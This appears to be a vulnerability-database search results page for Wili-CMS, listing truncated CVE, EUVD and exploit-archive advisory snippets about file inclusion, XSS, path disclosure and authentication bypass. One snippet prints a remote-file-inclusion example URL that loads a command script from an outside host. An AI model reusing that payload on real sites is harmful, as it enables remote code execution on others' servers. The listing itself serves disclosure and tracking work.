27 matches found
EUVD-2006-4974
Malware in sbrugna...
EUVD-2006-4975
Malware in sbrugna...
EUVD-2006-4973
Malware in sbrugna...
wili-cms 0.4.0 (rfi/lfi/ab) Multiple Vulnerabilities
No description provided by source. Salvatore drosophila Fresta + Application: Wili-CMS + Version: 0.4.0 + Website: http://wili-cms.sourceforge.net/ + Bugs: A Multiple Remote/Local File Inclusion B Authentication Bypass + Exploitation: Remote + Date: 06 Mar 2009 + Discovered by: Salvatore drosophi...
Wili-CMS <= 0.1.1 (include/xss/full path) Remote Vulnerabilities
No description provided by source. Wili-CMS Multiple Input Validation Vulnerabilities Discovered By : HACKERS PAL Copy rights : HACKERS PAL Website : http://www.soqor.net Email Address : [email protected] Remote include...
Wili-CMS remote and local File Inclusion and Authentication Bypass
Wili-CMS is prone to a remote and local file-include vulnerability because it fails to sufficiently sanitize user-supplied data. Exploiting this issue can allow an attacker to compromise the application and the underlying computer; other attacks are also possible. Wili-CMS is also prone to a...
Wili-CMS <= 0.4.0 LFI/RFI/Authentication Bypass Vulnerability - Active Check
Wili-CMS is prone to multiple vulnerabilities. SPDX-FileCopyrightText: 2009 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...
Wili-CMS 0.4.0 Multiple Vulnerabilities (Remote/Local File Inclusion - Authentication Bypass)
Salvatore "drosophila" Fresta + Application: Wili-CMS + Version: 0.4.0 + Website: http://wili-cms.sourceforge.net/ + Bugs: A Multiple Remote/Local File Inclusion B Authentication Bypass + Exploitation: Remote + Date: 06 Mar 2009 + Discovered by: Salvatore "drosophila" Fresta + Author: Salvatore...
Wili-CMS 0.4.0 - Local File Inclusion Remote File Inclusion Authentication Bypass
Wili-CMS 0.4.0 - Local File Inclusion Remote File Inclusion Authentication Bypass Salvatore "drosophila" Fresta + Application: Wili-CMS + Version: 0.4.0 + Website: http://wili-cms.sourceforge.net/ + Bugs: A Multiple Remote/Local File Inclusion B Authentication Bypass + Exploitation: Remote + Date...
Wili-CMS 0.4.0 File Inclusion / Bypass
Salvatore "drosophila" Fresta + Application: Wili-CMS + Version: 0.4.0 + Website: http://wili-cms.sourceforge.net/ + Bugs: A Multiple Remote/Local File Inclusion B Authentication Bypass + Exploitation: Remote + Date: 06 Mar 2009 + Discovered by: Salvatore "drosophila" Fresta + Author: Salvatore...
Wili-CMS 0.4.0 (RFI/LFI/AB) Multiple Remote Vulnerabilities
Exploit for unknown platform in category web applications =========================================================== Wili-CMS 0.4.0 RFI/LFI/AB Multiple Remote Vulnerabilities =========================================================== Salvatore "drosophila" Fresta + Application: Wili-CMS +...
Wili-CMS 0.4.0 (RFI/LFI/AB) Multiple Remote Vulnerabilities
No description provided by source. Salvatore "drosophila" Fresta + Application: Wili-CMS + Version: 0.4.0 + Website: http://wili-cms.sourceforge.net/ + Bugs: A Multiple Remote/Local File Inclusion B Authentication Bypass + Exploitation: Remote + Date: 06 Mar 2009 + Discovered by: Salvatore...
Wili-CMS 0.4.0 - Local File Inclusion / Remote File Inclusion / Authentication Bypass
Salvatore "drosophila" Fresta + Application: Wili-CMS + Version: 0.4.0 + Website: http://wili-cms.sourceforge.net/ + Bugs: A Multiple Remote/Local File Inclusion B Authentication Bypass + Exploitation: Remote + Date: 06 Mar 2009 + Discovered by: Salvatore "drosophila" Fresta + Author: Salvatore...
Wili-CMS.txt
Hello,, Wili-CMS Multiple Input Validation Vulnerabilities Discovered By : HACKERS PAL Copy rights : HACKERS PAL Website : http://www.soqor.net Email Address : [email protected] Remote include example-view/templates/article.php?globalscontentdir=http://psevil.googlepages.com/cmd.txt?...
CVE-2006-4987
Multiple PHP remote file inclusion vulnerabilities in Patrick Michaelis Wili-CMS allow remote attackers to execute arbitrary PHP code via a URL in the globalscontentdir parameter in 1 example-view/templates/article.php, 2 example-view/templates/root.php, and 3 example-view/templates/dateslist.php...
CVE-2006-4988
Multiple cross-site scripting XSS vulnerabilities in Patrick Michaelis Wili-CMS allow remote attackers to inject arbitrary web script or HTML via 1 the query string to relocate.php, 2 the globalspageid parameter in example-view/inc/printbutton.php, and other unspecified vectors...
CVE-2006-4989
Patrick Michaelis Wili-CMS allows remote attackers to obtain sensitive information via a direct request for 1 thumbnail.php, 2 functions/admin/all.php, 3 functions/admin/initsession.php, 4 functions/all.php, and 5 certain files in example-view/admintemplates/, which reveals the path in various...
CVE-2006-4989
Patrick Michaelis Wili-CMS allows remote attackers to obtain sensitive information via a direct request for 1 thumbnail.php, 2 functions/admin/all.php, 3 functions/admin/initsession.php, 4 functions/all.php, and 5 certain files in example-view/admintemplates/, which reveals the path in various...
CVE-2006-4988
Multiple cross-site scripting XSS vulnerabilities in Patrick Michaelis Wili-CMS allow remote attackers to inject arbitrary web script or HTML via 1 the query string to relocate.php, 2 the globalspageid parameter in example-view/inc/printbutton.php, and other unspecified vectors...
CVE-2006-4987
CVE-2006-4987 concerns Patrick Michaelis’ Wili-CMS. It exposes multiple PHP remote file inclusion flaws via a URL supplied to the globals[content_dir] parameter in three templates (article.php, root.php, dates_list.php). The underlying root cause is unsafely including remote content from a user-c...